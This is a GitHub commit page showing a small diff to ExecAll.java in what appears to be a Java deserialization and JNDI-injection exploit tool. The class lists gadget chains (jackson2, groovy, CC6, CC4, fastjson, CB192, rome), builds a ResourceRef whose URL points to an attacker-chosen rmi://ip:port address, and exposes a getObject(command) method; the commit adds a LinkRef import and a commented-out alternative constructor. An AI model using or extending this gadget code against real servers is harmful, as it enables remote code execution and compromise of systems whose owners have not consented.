Skip to content

Commit

Permalink
111
Browse files Browse the repository at this point in the history
  • Loading branch information
小西巴 committed May 10, 2024
1 parent e230c0f commit 2719ce2
Showing 1 changed file with 12 additions and 0 deletions.
12 changes: 12 additions & 0 deletions src/main/java/org/gadget/ExecAll.java
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
import org.gadget.inter.Gadget;
import sun.rmi.server.UnicastServerRef;

import javax.naming.LinkRef;
import javax.naming.StringRefAddr;
import java.lang.reflect.Field;
import java.rmi.server.RemoteObject;
Expand All @@ -14,6 +15,7 @@
public class ExecAll implements Gadget {

private ResourceRef ref;
// private LinkRef linkRef;
private String[] gname = {"jackson2","groovy","CC6","CC4","fastjson","CB192","rome"};
private HashMap map = new ArgsBean().getMap();

Expand All @@ -26,6 +28,16 @@ public ExecAll(String ip, int port){
ref.add(new StringRefAddr("URL","rmi://"+ip+":"+port+"/"+className));
}
}

// public ExecAll(String ip, int port){
// String className = "";
// this.linkRef = new LinkRef("com.sun.jndi.rmi.registry.RegistryContextFactory");
// for(String name : gname){
// className = (String)map.get(name);
// //必须是RUL,url必须为"rmi:"开头
// linkRef.add(new StringRefAddr("URL","rmi://"+ip+":"+port+"/"+className));
// }
// }
@Override
public Object getObject(String command) throws Exception {

Expand Down

0 comments on commit 2719ce2

Please sign in to comment.